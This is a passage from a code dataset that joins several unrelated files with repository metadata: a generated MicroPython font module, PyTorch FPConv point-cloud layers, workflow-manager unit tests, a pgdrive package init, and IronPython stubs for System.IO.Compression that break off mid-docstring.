res["gbest"][i])) print()

27.448276

116

0.585678

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3,980

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0.852107

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3,980

144

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0

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0

1

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false

0

0.065421

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0

null

0

1

0

1

0

null

0

1

0

8

91f9447ee2712cec94f6134d7f3a7ad812e091da

6,367

py

Python

port/modules/font/digiface_it_30.py

diskman88/mpython-desktop-robot

01cd15fbeeba521ab874cf66f94d3909c4f8c39a

[ "MIT" ]

53

2018-10-15T12:01:24.000Z

2019-11-22T09:31:02.000Z

port/modules/font/digiface_it_30.py

diskman88/mpython-desktop-robot

01cd15fbeeba521ab874cf66f94d3909c4f8c39a

[ "MIT" ]

10

2018-10-17T13:42:19.000Z

2019-11-25T06:42:40.000Z

port/modules/font/digiface_it_30.py

diskman88/mpython-desktop-robot

01cd15fbeeba521ab874cf66f94d3909c4f8c39a

[ "MIT" ]

26

2018-12-04T03:53:39.000Z

2019-11-22T03:40:05.000Z

# Code generated by font-to-py.py. # Font: digi_italic.ttf Char set: .0123456789: version = '0.26' def height(): return 30 def max_width(): return 23 def hmap(): return True def reverse(): return False def monospaced(): return False def min_ch(): return 32 def max_ch(): return 63 _font =\ b'\x12\x00\x0f\xf8\x00\x1f\xfc\x00\x3f\xfc\x00\x1f\xfb\x00\x00\x07'\ b'\x00\x00\x07\x00\x00\x07\x00\x00\x07\x00\x00\x0e\x00\x00\x0e\x00'\ b'\x00\x0e\x00\x00\x0e\x00\x0f\xee\x00\x17\xf4\x00\x13\xf8\x00\x1b'\ b'\xc0\x00\x38\x00\x00\x38\x00\x00\x38\x00\x00\x38\x00\x00\x38\x00'\ b'\x00\x00\x00\x00\x00\x00\x00\x70\x00\x00\x70\x00\x00\x70\x00\x00'\ b'\xe0\x00\x00\xe0\x00\x00\xe0\x00\x00\xe0\x00\x00\x0c\x00\x00\x00'\ b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'\ b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'\ b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'\ b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x05\x00\x00\x00\x00\x00'\ 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b'\x07\x80\x00\x07\x00\x00\x07\x00\x00\x07\x00\x00\x07\x00\x00\x0f'\ b'\x00\x00\x0e\x00\x00\x0e\x00\x00\x0e\x00\x00\x0e\x00\x00\x0c\x00'\ b'\x00\x04\x00\x00\x00\x00\x17\x00\x00\x3f\xfc\x00\x7f\xf8\x01\x7f'\ b'\xf0\x03\x7f\xe0\x07\x00\x00\x07\x00\x00\x07\x00\x00\x07\x00\x00'\ b'\x0e\x00\x00\x0e\x00\x00\x0e\x00\x00\x0e\x00\x00\x0c\x7f\xe0\x19'\ b'\xff\xf8\x07\xff\xf8\x03\xff\xe0\x00\x00\x30\x00\x00\x70\x00\x00'\ b'\xe0\x00\x00\xe0\x00\x00\xe0\x00\x00\xe0\x00\x00\xe0\x00\x01\xc0'\ b'\x00\x01\xc0\x00\x01\xc0\x0f\xfd\x80\x3f\xff\x00\x7f\xfc\x00\xff'\ b'\xf8\x00\x16\x00\x00\x7f\xf8\x00\xff\xf0\x02\xff\xe0\x06\xff\xc0'\ b'\x0e\x00\x00\x0e\x00\x00\x0e\x00\x00\x0e\x00\x00\x1c\x00\x00\x1c'\ b'\x00\x00\x1c\x00\x00\x1c\x00\x00\x18\xff\xc0\x33\xff\xf0\x0f\xff'\ b'\xf0\x07\xff\xc0\x30\x00\x60\x78\x00\xe0\x70\x01\xc0\x70\x01\xc0'\ b'\x70\x01\xc0\x70\x01\xc0\xe0\x01\xc0\xe0\x03\x80\xe0\x03\x80\xe0'\ b'\x03\x80\xdf\xfb\x00\x3f\xfe\x00\x3f\xf8\x00\x1f\xf0\x00\x15\x00'\ b'\x7f\xfe\x00\x7f\xfc\x80\x3f\xf9\x00\x1f\xf3\x00\x00\x07\x00\x00'\ b'\x07\x00\x00\x07\x00\x00\x0e\x00\x00\x0e\x00\x00\x0e\x00\x00\x0e'\ b'\x00\x00\x1e\x00\x00\x1c\x00\x00\x04\x00\x00\x00\x00\x00\x04\x00'\ b'\x00\x08\x00\x00\x38\x00\x00\x38\x00\x00\x38\x00\x00\x78\x00\x00'\ b'\x70\x00\x00\x70\x00\x00\x70\x00\x00\x70\x00\x00\xe0\x00\x00\xe0'\ b'\x00\x00\x60\x00\x00\x20\x00\x00\x00\x00\x15\x00\x00\x7f\xe0\x00'\ b'\xff\xe0\x02\xff\xf0\x06\xff\xf8\x0e\x00\x38\x0e\x00\x38\x0e\x00'\ b'\x78\x0e\x00\x70\x1c\x00\x70\x1c\x00\x70\x1c\x00\x70\x1c\x00\xe0'\ b'\x18\xff\xe0\x33\xff\xf0\x0f\xff\xf0\x07\xff\xe0\x30\x00\xc0\x78'\ b'\x01\xc0\x70\x01\xc0\x70\x01\xc0\x70\x03\xc0\x70\x03\x80\xe0\x03'\ b'\x80\xe0\x03\x80\xe0\x03\x80\xe0\x07\x00\xdf\xfb\x00\x3f\xfe\x00'\ b'\x3f\xf8\x00\x1f\xf0\x00\x16\x00\x00\x7f\xe0\x00\xff\xe0\x02\xff'\ b'\xf0\x06\xff\xf8\x0e\x00\x38\x0e\x00\x38\x0e\x00\x78\x0e\x00\x70'\ b'\x1c\x00\x70\x1c\x00\x70\x1c\x00\x70\x1c\x00\xe0\x1c\x7f\xe0\x31'\ b'\xff\xf8\x0f\xff\xf8\x03\xff\xe0\x00\x00\x40\x00\x01\xc0\x00\x01'\ b'\xc0\x00\x01\xc0\x00\x03\xc0\x00\x03\x80\x00\x03\x80\x00\x03\x80'\ b'\x00\x03\x80\x00\x07\x00\x1f\xfb\x00\x3f\xfe\x00\x7f\xf8\x00\xff'\ b'\xf0\x00\x07\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x0e\x0e'\ b'\x0e\x0e\x1c\x1c\x00\x00\x00\x00\x00\x00\x00\x78\x70\x70\x70\x70'\ b'\xf0\xe0' _index =\ b'\x00\x00\x5c\x00\x5c\x00\x9a\x00\x00\x00\x5c\x00\x00\x00\x5c\x00'\ b'\x00\x00\x5c\x00\x00\x00\x5c\x00\x00\x00\x5c\x00\x00\x00\x5c\x00'\ b'\x00\x00\x5c\x00\x00\x00\x5c\x00\x00\x00\x5c\x00\x00\x00\x5c\x00'\ b'\x00\x00\x5c\x00\x00\x00\x5c\x00\x00\x00\x5c\x00\x9a\x00\xba\x00'\ b'\x00\x00\x5c\x00\xba\x00\x16\x01\x16\x01\x72\x01\x72\x01\xce\x01'\ b'\xce\x01\x2a\x02\x2a\x02\x86\x02\x86\x02\xe2\x02\xe2\x02\x3e\x03'\ b'\x3e\x03\x9a\x03\x9a\x03\xf6\x03\xf6\x03\x52\x04\x52\x04\x72\x04'\ b'\x00\x00\x5c\x00\x00\x00\x5c\x00\x00\x00\x5c\x00\x00\x00\x5c\x00'\ b'\x00\x00\x5c\x00' _mvfont = memoryview(_font) def get_ch(ch): ordch = ord(ch) ordch = ordch + 1 if ordch >= 32 and ordch <= 63 else 63 idx_offs = 4 * (ordch - 32) offset = int.from_bytes(_index[idx_offs : idx_offs + 2], 'little') next_offs = int.from_bytes(_index[idx_offs + 2 : idx_offs + 4], 'little') width = int.from_bytes(_font[offset:offset + 2], 'little') return _mvfont[offset + 2:next_offs], 30, width

52.188525

78

0.687608

1,468

6,367

2.966621

0.081063

0.39403

0.245924

0.245235

0.690471

0.650976

0.572445

0.534558

0.49667

0.46039

0

0.353314

0.059369

6,367

121

79

52.619835

0.373852

0.012251

0

0.140187

1

0.738318

0.827575

0.820114

0

1

0

1

0.074766

false

0

0.065421

0.149533

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1

0

1

0

1

0

1

null

1

0

10

62298a7ef72f43769dc524f9fdf4cdabea2013ad

8,087

py

Python

fpconv/fpconv.py

lyqun/FPConv

9fc3a71258550101bec671330c5e97b45725291c

[ "MIT" ]

129

2020-03-13T11:47:18.000Z

2022-03-01T16:33:47.000Z

fpconv/fpconv.py

lyqun/FPConv

9fc3a71258550101bec671330c5e97b45725291c

[ "MIT" ]

20

2020-03-13T12:41:06.000Z

2021-10-06T11:29:05.000Z

fpconv/fpconv.py

lyqun/FPConv

9fc3a71258550101bec671330c5e97b45725291c

[ "MIT" ]

18

2020-03-14T13:19:41.000Z

2022-02-25T04:50:30.000Z

import torch import torch.nn as nn import torch.nn.functional as F from torch.nn.parameter import Parameter from fpconv.pointnet2 import pointnet2_utils from fpconv.pointnet2 import pytorch_utils as pt_utils from fpconv import base relu_alpha = 0.2 class FPConv4x4_BaseBlock(nn.Module): def __init__(self, npoint, nsample, radius, in_channel, out_channel, bn=True, use_xyz=False): super().__init__() print('fpconv4x4 init:', npoint, nsample, radius, in_channel, out_channel) self.npoint = npoint self.nsample = nsample self.keep_pcd = npoint is None self.use_xyz = use_xyz self.grouper = pointnet2_utils.QueryAndGroupLocal(radius, nsample) self.wts_layer = base.ProjWeightModule(mlp_pn=[8,16], mlp_wts=[16], map_size=4, bn=bn) if use_xyz: in_channel += 3 self.proj_conv = pt_utils.Conv2d(in_size=in_channel, out_size=out_channel, kernel_size=(16,1), bn=bn, activation=nn.LeakyReLU(negative_slope=relu_alpha, inplace=True)) def forward(self, xyz, features, new_xyz=None): ''' :param xyz: B,N,3 :param features: B,C,N :returns: new_xyz: B,np,3 new_feats: B,C,np ''' # sample new xyz if not self.keep_pcd and new_xyz is None: xyz_flipped = xyz.transpose(1, 2).contiguous() # B,3,npoint idx = pointnet2_utils.furthest_point_sample(xyz, self.npoint) # B,npoint new_xyz_flipped = pointnet2_utils.gather_operation(xyz_flipped, idx) # B,3,npoint new_xyz = new_xyz_flipped.transpose(1, 2).contiguous() # B,npoint,3 elif new_xyz is not None: self.npoint = new_xyz.size(1) else: # keep pcd new_xyz = xyz self.npoint = new_xyz.size(1) # get distribution vector grouped_xyz, grouped_feats = self.grouper(xyz, new_xyz, features) proj_wts = self.wts_layer(grouped_xyz) # B,ml+1,np,ns if self.use_xyz: grouped_feats = torch.cat([grouped_xyz, grouped_feats], dim=1) # normalize weights # normalize at dim 1 <ml> proj_wts2_ = proj_wts ** 2 # B, ml, np, ns proj_wts_sum = torch.sum(proj_wts2_, dim=1, keepdim=True) # B, 1, np, ns proj_wts_sum = torch.max(proj_wts_sum, torch.tensor(1e-8).cuda()) proj_wts_sum = torch.sqrt(proj_wts_sum) # B, 1, np, ns proj_wts = proj_wts / proj_wts_sum # normalize at dim 3 <nsample> proj_wts_sum = torch.sum(proj_wts2_, dim=3, keepdim=True) # B,ml,np,1 proj_wts_sum = torch.max(proj_wts_sum, torch.tensor(1e-8).cuda()) proj_wts_sum = torch.sqrt(proj_wts_sum) # B, 1, np, ns proj_wts_sum = torch.max(proj_wts_sum, torch.tensor(1.0).cuda()) proj_wts = proj_wts / proj_wts_sum # B,ml,np,ns # projection proj_wts = proj_wts.transpose(1,2) # B, np, ml, ns grouped_feats = grouped_feats.permute(0, 2, 3, 1) # B, C, np, bs => B, np, ns, C multi = proj_wts.matmul(grouped_feats) proj_feats = F.leaky_relu(proj_wts.matmul(grouped_feats), negative_slope=relu_alpha, inplace=True) # B, np, ml, C proj_feats = proj_feats.transpose(1,3) # B, C, ml, np # convolution proj_feats = self.proj_conv(proj_feats) # B, C_new, 1, np proj_feats = proj_feats.squeeze(2) # B, C_new, np return new_xyz, proj_feats class FPConv6x6_BaseBlock(nn.Module): def __init__(self, npoint, nsample, radius, in_channel, out_channel, bn=True, use_xyz=False): super().__init__() print('fpconv6x6 init:', npoint, nsample, radius, in_channel, out_channel) self.npoint = npoint self.map_size = 6 self.map_len = self.map_size ** 2 self.nsample = nsample self.keep_pcd = npoint is None self.use_xyz = use_xyz self.grouper = pointnet2_utils.QueryAndGroupLocal(radius, nsample) self.wts_layer = base.ProjWeightModule(mlp_pn=[8,16,16], mlp_wts=[16,32], map_size=6, bn=bn) if use_xyz: in_channel += 3 self.bias = Parameter(torch.Tensor(in_channel)) mid_channel = in_channel self.proj_conv = nn.Sequential( pt_utils.Conv3d(in_size=in_channel, out_size=mid_channel, kernel_size=(3,3,1), bn=bn, activation=nn.LeakyReLU(negative_slope=relu_alpha, inplace=True)), pt_utils.Conv3d(in_size=in_channel, out_size=mid_channel, kernel_size=(3,3,1), bn=bn, activation=nn.LeakyReLU(negative_slope=relu_alpha, inplace=True)), pt_utils.Conv3d(in_size=mid_channel, out_size=out_channel, kernel_size=(2,2,1), bn=bn, activation=nn.LeakyReLU(negative_slope=relu_alpha, inplace=True))) self.reset_parameters() def reset_parameters(self): nn.init.constant_(self.bias, -0.05) def forward(self, xyz, features, new_xyz=None): ''' :param xyz: B,N,3 :param features: B,C,N :returns: new_xyz: B,np,3 new_feats: B,C,np ''' # sample new xyz if not self.keep_pcd and new_xyz is None: xyz_flipped = xyz.transpose(1, 2).contiguous() # B,3,npoint idx = pointnet2_utils.furthest_point_sample(xyz, self.npoint) # B,npoint new_xyz_flipped = pointnet2_utils.gather_operation(xyz_flipped, idx) # B,3,npoint new_xyz = new_xyz_flipped.transpose(1, 2).contiguous() # B,npoint,3 elif new_xyz is not None: idx = None self.npoint = new_xyz.size(1) else: idx = None new_xyz = xyz self.npoint = new_xyz.size(1) # get distribution vector grouped_xyz, grouped_feats = self.grouper(xyz, new_xyz, features) proj_wts = self.wts_layer(grouped_xyz) # B,ml,np,ns if self.use_xyz: grouped_feats = torch.cat([grouped_xyz, grouped_feats], dim=1) # normalize weights # normalize at dim 1 <ml> proj_wts2_ = proj_wts ** 2 # B, ml, np, ns proj_wts_sum = torch.sum(proj_wts2_, dim=1, keepdim=True) # B, 1, np, ns proj_wts_sum = torch.max(proj_wts_sum, torch.tensor(1e-8).cuda()) proj_wts_sum = torch.sqrt(proj_wts_sum) # B, 1, np, ns proj_wts = proj_wts / proj_wts_sum # normalize at dim 3 <nsample> # proj_wts2_ = proj_wts ** 2 # B, ml, np, ns proj_wts_sum = torch.sum(proj_wts2_, dim=3, keepdim=True) # B,ml,np,1 proj_wts_sum = torch.max(proj_wts_sum, torch.tensor(1e-8).cuda()) proj_wts_sum = torch.sqrt(proj_wts_sum) # B, 1, np, ns proj_wts_sum = torch.max(proj_wts_sum, torch.tensor(1.0).cuda()) proj_wts = proj_wts / proj_wts_sum # B,ml,np,ns # projection proj_wts = proj_wts.transpose(1,2) # B, np, ml, ns grouped_feats = grouped_feats.permute(0, 2, 3, 1) # B, C, np, bs => B, np, ns, C proj_feats = F.leaky_relu(proj_wts.matmul(grouped_feats) + self.bias, negative_slope=relu_alpha, inplace=True) # B, np, ml, C # reshape projection features # B, np, ml, C => B, C, ms, ms, np bs = proj_feats.size(0) proj_feats = proj_feats.transpose(1, 3) # B, C, ml, np proj_feats = proj_feats.view(bs, -1, self.map_size, self.map_size, self.npoint).contiguous() # B, C, ms, ms, np # convolution proj_feats = self.proj_conv(proj_feats) # B, C_new, 1, 1, np proj_feats = proj_feats.squeeze(3).squeeze(2) # B, C_new, np return new_xyz, proj_feats

42.78836

133

0.589217

1,154

8,087

3.880416

0.114385

0.075034

0.062528

0.066994

0.862662

0.849933

0.848146

0.822242

0.810183

0.798571

0

0.025718

0.302832

8,087

189

134

42.78836

0.768535

0.12823

0

0.728682

0

0.004356

0

1

0.03876

false

0

0.054264

0

0.124031

0.015504

0

null

0

1

0

1

0

null

0

7

624f5611f7f45b4c021f89f1f9039ee30510708f

12,646

py

Python

tests/test_workflow.py

dimtruck/workflow-manager-py

423befca05ccaf9fecef3ca680c4f21f1fd96d45

[ "MIT" ]

2

2021-09-14T17:06:46.000Z

2021-12-30T07:41:40.000Z

tests/test_workflow.py

dimtruck/workflow-manager-py

423befca05ccaf9fecef3ca680c4f21f1fd96d45

[ "MIT" ]

1

2018-02-08T12:36:25.000Z

tests/test_workflow.py

dimtruck/workflow-manager-py

423befca05ccaf9fecef3ca680c4f21f1fd96d45

[ "MIT" ]

6

2017-09-05T19:39:53.000Z

2021-12-03T15:54:24.000Z

import example_task from workflow_manager.manager import Manager from workflow_manager.task import Task def test_init(): assert Manager().show_flow() is None def test_init_with_task(): task_one = example_task.SuccessTask('task 1') assert Manager(task_one).show_flow().to_dict() == task_one.to_dict() def test_register_task(): manager = Manager() task = example_task.SuccessTask('task 1') manager.register_initial_task(task) assert Manager(task).show_flow().to_dict() == task.to_dict() def test_workflow_with_two_items(): task_one = example_task.SuccessTask('task 1') task_two = example_task.SuccessTask('task 2') task_one.on_success(task_two) manager = Manager() manager.register_initial_task(task_one) assert manager.show_flow().to_dict() == { 'name': 'task 1', 'success_flow': [ { 'name': 'task 2', 'success_flow': [], 'failure_flow': [] } ], 'failure_flow': [] } def test_workflow_with_three_items_success_failure(): task_one = example_task.SuccessTask('task 1') task_two = example_task.SuccessTask('task 2') task_three = example_task.FailureTask('task 3') task_one.on_success(task_two) task_one.on_failure(task_three) task_two.on_failure(task_three) manager = Manager() manager.register_initial_task(task_one) assert manager.show_flow().to_dict() == { 'name': 'task 1', 'success_flow': [ { 'failure_flow': [ { 'failure_flow': [], 'name': 'task 3', 'success_flow': [] } ], 'name': 'task 2', 'success_flow': [] } ], 'failure_flow': [ { 'failure_flow': [], 'name': 'task 3', 'success_flow': [] } ] } def test_workflow_walking_through_successful_flow_two_nodes(): ''' Given: task 1 -> success -> task 2 task 1 -> failure -> task 3 task 2 -> failure -> task 3 When: task 1 succeeds task 2 succeeds Then workflow is: task 1 -> task 2 ''' task_one = example_task.SuccessTask('task 1') task_two = example_task.SuccessTask('task 2') task_three = example_task.FailureTask('task 3') task_one.on_success(task_two) task_one.on_failure(task_three) task_two.on_failure(task_three) manager = Manager() manager.register_initial_task(task_one) manager.run() assert manager.show_executed_flow() == [ {'name': 'task 1', 'parameters': ()}, {'name': 'task 2', 'parameters': ( ['param', 'from', 'task', 'task 1', 'to', 'next', 'task'],)} ] def test_workflow_walking_through_failure_flow_two_nodes_second_fail(): ''' Given: task 1 -> success -> task 2 task 1 -> failure -> task 4 task 2 -> success -> task 3 task 2 -> failure -> task 4 When: task 1 succeeds task 2 fails Then workflow is: task 1 -> task 2 -> task 4 ''' task_one = example_task.SuccessTask('task 1') task_two = example_task.FailureTask('task 2') task_three = example_task.SuccessTask('task 3') task_four = example_task.FailureTask('task 4') task_one.on_success(task_two) task_one.on_failure(task_four) task_two.on_success(task_three) task_two.on_failure(task_four) manager = Manager() manager.register_initial_task(task_one) manager.run() assert manager.show_executed_flow() == [ {'name': 'task 1', 'parameters': ()}, {'name': 'task 2', 'parameters': ( ['param', 'from', 'task', 'task 1', 'to', 'next', 'task'],)}, {'name': 'task 4', 'parameters': ([ 'failure message from ', 'task 2'],)} ] def test_workflow_walking_through_failure_flow_two_nodes_first_fail(): ''' Given: task 1 -> success -> task 2 task 1 -> failure -> task 4 task 2 -> success -> task 3 task 2 -> failure -> task 4 When: task 1 fails Then workflow is: task 1 -> task 4 ''' task_one = example_task.FailureTask('task 1') task_two = example_task.SuccessTask('task 2') task_three = example_task.SuccessTask('task 3') task_four = example_task.SuccessTask('task 4') task_one.on_success(task_two) task_one.on_failure(task_four) task_two.on_success(task_three) task_two.on_failure(task_four) manager = Manager() manager.register_initial_task(task_one) manager.run() print(manager.show_executed_flow()) assert manager.show_executed_flow() == [ {'name': 'task 1', 'parameters': ()}, {'name': 'task 4', 'parameters': ([ 'failure message from ', 'task 1'],)} ] def test_workflow_walking_through_successful_flow_list(): ''' Given: task 1 -> success -> task 2, task 3 task 1 -> failure -> task 4 task 2 -> success -> task 5 task 2 -> failure -> task 6 task 3 -> success -> task 5 task 3 -> failure -> task 6 task 4 -> failure -> task 6 task 4 -> success -> task 6 When: test 1 succeeds test 2 succeeds test 3 succeeds test 5 succeeds Then workflow is: task 1 -> task 2 -> task 5 -> task 3 -> task 5 ''' task_one = example_task.SuccessTask('task 1') task_two = example_task.SuccessTask('task 2') task_three = example_task.SuccessTask('task 3') task_four = example_task.SuccessTask('task 4') task_five = example_task.SuccessTask('task 5') task_six = example_task.SuccessTask('task 6') task_one.on_success(task_two, task_three) task_one.on_failure(task_four) task_two.on_success(task_five) task_two.on_failure(task_six) task_three.on_success(task_five) task_three.on_failure(task_six) task_four.on_success(task_six) task_four.on_failure(task_six) manager = Manager() manager.register_initial_task(task_one) manager.run() assert manager.show_executed_flow() == [ {'name': 'task 1', 'parameters': ()}, {'name': 'task 2', 'parameters': ( ['param', 'from', 'task', 'task 1', 'to', 'next', 'task'],)}, {'name': 'task 5', 'parameters': ( ['param', 'from', 'task', 'task 2', 'to', 'next', 'task'],)}, {'name': 'task 3', 'parameters': ( ['param', 'from', 'task', 'task 5', 'to', 'next', 'task'],)}, {'name': 'task 5', 'parameters': ( ['param', 'from', 'task', 'task 3', 'to', 'next', 'task'],)} ] def test_workflow_walking_through_successful_flow_list_optimized(): ''' Given: task 1 -> success -> task 2, task 3 task 1 -> failure -> task 4 task 2 -> success -> task 3 task 2 -> failure -> task 6 When: test 1 succeeds test 2 succeeds test 3 succeeds Then workflow is: task 1 -> task 2 -> task 3 ''' task_one = example_task.SuccessTask('task 1') task_two = example_task.SuccessTask('task 2') task_three = example_task.SuccessTask('task 3') task_four = example_task.SuccessTask('task 4') task_five = example_task.SuccessTask('task 5') task_six = example_task.SuccessTask('task 6') task_one.on_success(task_two, task_three) task_one.on_failure(task_four) task_two.on_success(task_three) task_two.on_failure(task_six) manager = Manager() manager.register_initial_task(task_one) manager.run() assert manager.show_executed_flow() == [ {'name': 'task 1', 'parameters': ()}, {'name': 'task 2', 'parameters': ( ['param', 'from', 'task', 'task 1', 'to', 'next', 'task'],)}, {'name': 'task 3', 'parameters': ( ['param', 'from', 'task', 'task 2', 'to', 'next', 'task'],)} ] def test_workflow_walking_through_failure_flow_list(): ''' Given: task 1 -> success -> task 2, task 3 task 1 -> failure -> task 4, task 6 task 2 -> success -> task 5 task 2 -> failure -> task 6 task 3 -> success -> task 5 task 3 -> failure -> task 6 task 4 -> failure -> task 6 task 4 -> success -> task 6 When: test 1 fails test 4 succeeds Then workflow is: task 1 -> task 4 -> task 6 ''' task_one = example_task.FailureTask('task 1') task_two = example_task.SuccessTask('task 2') task_three = example_task.SuccessTask('task 3') task_four = example_task.SuccessTask('task 4') task_five = example_task.SuccessTask('task 5') task_six = example_task.SuccessTask('task 6') task_one.on_success(task_two, task_three) task_one.on_failure(task_four, task_six) task_two.on_success(task_five) task_two.on_failure(task_six) task_three.on_success(task_five) task_three.on_failure(task_six) task_four.on_success(task_six) task_four.on_failure(task_six) manager = Manager() manager.register_initial_task(task_one) manager.run() assert manager.show_executed_flow() == [ {'name': 'task 1', 'parameters': ()}, {'name': 'task 4', 'parameters': ( ['failure message from ', 'task 1'],)}, {'name': 'task 6', 'parameters': ( ['param', 'from', 'task', 'task 4', 'to', 'next', 'task'],)} ] def test_workflow_walking_through_failure_flow_list_different_flow(): ''' Given: task 1 -> success -> task 2, task 3 task 1 -> failure -> task 4, task 6 task 2 -> success -> task 5 task 2 -> failure -> task 6 task 3 -> success -> task 5 task 3 -> failure -> task 6 task 4 -> failure -> task 6 task 4 -> success -> task 7 When: test 1 fails test 4 succeeds Then workflow is: task 1 -> task 4 -> task 6 ''' task_one = example_task.FailureTask('task 1') task_two = example_task.SuccessTask('task 2') task_three = example_task.SuccessTask('task 3') task_four = example_task.SuccessTask('task 4') task_five = example_task.SuccessTask('task 5') task_six = example_task.SuccessTask('task 6') task_seven = example_task.SuccessTask('task 7') task_one.on_success(task_two, task_three) task_one.on_failure(task_four, task_six) task_two.on_success(task_five) task_two.on_failure(task_six) task_three.on_success(task_five) task_three.on_failure(task_six) task_four.on_success(task_seven) task_four.on_failure(task_six) manager = Manager() manager.register_initial_task(task_one) manager.run() assert manager.show_executed_flow() == [ {'name': 'task 1', 'parameters': ()}, {'name': 'task 4', 'parameters': ( ['failure message from ', 'task 1'],)}, {'name': 'task 7', 'parameters': ( ['param', 'from', 'task', 'task 4', 'to', 'next', 'task'],)}, {'name': 'task 6', 'parameters': ( ['param', 'from', 'task', 'task 7', 'to', 'next', 'task'],)} ] def test_workflow_walking_through_short_circuit_fail(): ''' Given: task 1 -> success -> task 2, task 3 task 1 -> failure -> task 4 task 2 -> success -> task 5 task 2 -> failure -> task 6 task 3 -> success -> task 5 task 3 -> failure -> task 6 task 4 -> failure -> task 6 task 4 -> success -> task 6 When: test 1 succeeds test 2 fails Then workflow is: task 1 -> task 2 -> task 6 ''' task_one = example_task.SuccessTask('task 1') task_two = example_task.FailureTask('task 2') task_three = example_task.SuccessTask('task 3') task_four = example_task.SuccessTask('task 4') task_five = example_task.SuccessTask('task 5') task_six = example_task.SuccessTask('task 6') task_one.on_success(task_two, task_three) task_one.on_failure(task_four) task_two.on_success(task_five) task_two.on_failure(task_six) task_three.on_success(task_five) task_three.on_failure(task_six) task_four.on_success(task_six) task_four.on_failure(task_six) manager = Manager() manager.register_initial_task(task_one) manager.run() assert manager.show_executed_flow() == [ {'name': 'task 1', 'parameters': ()}, {'name': 'task 2', 'parameters': ( ['param', 'from', 'task', 'task 1', 'to', 'next', 'task'],)}, {'name': 'task 6', 'parameters': ( ['failure message from ', 'task 2'],)} ]

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0

7

62551d8ab4b1f6a8bc7d14afc452ccfa57d167cd

112

py

Python

pgdrive/component/road/__init__.py

decisionforce/pgdrive

19af5d09a40a68a2a5f8b3ac8b40f109e71c26ee

[ "Apache-2.0" ]

97

2020-12-25T06:02:17.000Z

2022-01-16T06:58:39.000Z

pgdrive/component/road/__init__.py

decisionforce/pgdrive

19af5d09a40a68a2a5f8b3ac8b40f109e71c26ee

[ "Apache-2.0" ]

192

2020-12-25T07:58:17.000Z

2021-08-28T10:13:59.000Z

pgdrive/component/road/__init__.py

decisionforce/pgdrive

19af5d09a40a68a2a5f8b3ac8b40f109e71c26ee

[ "Apache-2.0" ]

11

2020-12-29T11:23:44.000Z

2021-12-06T23:25:49.000Z

from pgdrive.component.road.road import Road, Route from pgdrive.component.road.road_network import RoadNetwork

37.333333

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6572cedff9748de5328ffa2ce408fc6b71f6176e

23,741

py

Python

release/stubs/System/IO/Compression.py

YKato521/ironpython-stubs

b1f7c580de48528490b3ee5791b04898be95a9ae

[ "MIT" ]

null

release/stubs/System/IO/Compression.py

YKato521/ironpython-stubs

b1f7c580de48528490b3ee5791b04898be95a9ae

[ "MIT" ]

null

release/stubs/System/IO/Compression.py

YKato521/ironpython-stubs

b1f7c580de48528490b3ee5791b04898be95a9ae

[ "MIT" ]

null

# encoding: utf-8 # module System.IO.Compression calls itself Compression # from System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 # by generator 1.145 """ NamespaceTracker represent a CLS namespace. """ # no imports # no functions # classes class CompressionLevel(Enum, IComparable, IFormattable, IConvertible): """ enum CompressionLevel, values: Fastest (1), NoCompression (2), Optimal (0) """ def __eq__(self, *args): # cannot find CLR method """ x.__eq__(y) <==> x==yx.__eq__(y) <==> x==yx.__eq__(y) <==> x==y """ pass def __format__(self, *args): # cannot find CLR method """ __format__(formattable: IFormattable, format: str) -> str """ pass def __ge__(self, *args): # cannot find CLR method pass def __gt__(self, *args): # cannot find CLR method pass def __init__(self, *args): # cannot find CLR method """ x.__init__(...) initializes x; see x.__class__.__doc__ for signaturex.__init__(...) initializes x; see x.__class__.__doc__ for signaturex.__init__(...) initializes x; see x.__class__.__doc__ for signature """ pass def __le__(self, *args): # cannot find CLR method pass def __lt__(self, *args): # cannot find CLR method pass def __ne__(self, *args): # cannot find CLR method pass def __reduce_ex__(self, *args): # cannot find CLR method pass def __str__(self, *args): # cannot find CLR method pass Fastest = None NoCompression = None Optimal = None value__ = None class CompressionMode(Enum, IComparable, IFormattable, IConvertible): """ Specifies whether to compress or decompress the underlying stream. enum CompressionMode, values: Compress (1), Decompress (0) """ def __eq__(self, *args): # cannot find CLR method """ x.__eq__(y) <==> x==yx.__eq__(y) <==> x==yx.__eq__(y) <==> x==y """ pass def __format__(self, *args): # cannot find CLR method """ __format__(formattable: IFormattable, format: str) -> str """ pass def __ge__(self, *args): # cannot find CLR method pass def __gt__(self, *args): # cannot find CLR method pass def __init__(self, *args): # cannot find CLR method """ x.__init__(...) initializes x; see x.__class__.__doc__ for signaturex.__init__(...) initializes x; see x.__class__.__doc__ for signaturex.__init__(...) initializes x; see x.__class__.__doc__ for signature """ pass def __le__(self, *args): # cannot find CLR method pass def __lt__(self, *args): # cannot find CLR method pass def __ne__(self, *args): # cannot find CLR method pass def __reduce_ex__(self, *args): # cannot find CLR method pass def __str__(self, *args): # cannot find CLR method pass Compress = None Decompress = None value__ = None class DeflateStream(Stream, IDisposable): """ Provides methods and properties for compressing and decompressing streams using the Deflate algorithm. DeflateStream(stream: Stream, mode: CompressionMode) DeflateStream(stream: Stream, mode: CompressionMode, leaveOpen: bool) DeflateStream(stream: Stream, compressionLevel: CompressionLevel) DeflateStream(stream: Stream, compressionLevel: CompressionLevel, leaveOpen: bool) """ def BeginRead(self, array, offset, count, asyncCallback, asyncState): """ BeginRead(self: DeflateStream, array: Array[Byte], offset: int, count: int, asyncCallback: AsyncCallback, asyncState: object) -> IAsyncResult Begins an asynchronous read operation. array: The byte array to read the data into. offset: The byte offset in array at which to begin writing data read from the stream. count: The maximum number of bytes to read. asyncCallback: An optional asynchronous callback, to be called when the read is complete. asyncState: A user-provided object that distinguishes this particular asynchronous read request from other requests. Returns: An System.IAsyncResult object that represents the asynchronous read, which could still be pending. """ pass def BeginWrite(self, array, offset, count, asyncCallback, asyncState): """ BeginWrite(self: DeflateStream, array: Array[Byte], offset: int, count: int, asyncCallback: AsyncCallback, asyncState: object) -> IAsyncResult Begins an asynchronous write operation. array: The buffer to write data from. offset: The byte offset in buffer to begin writing from. count: The maximum number of bytes to write. 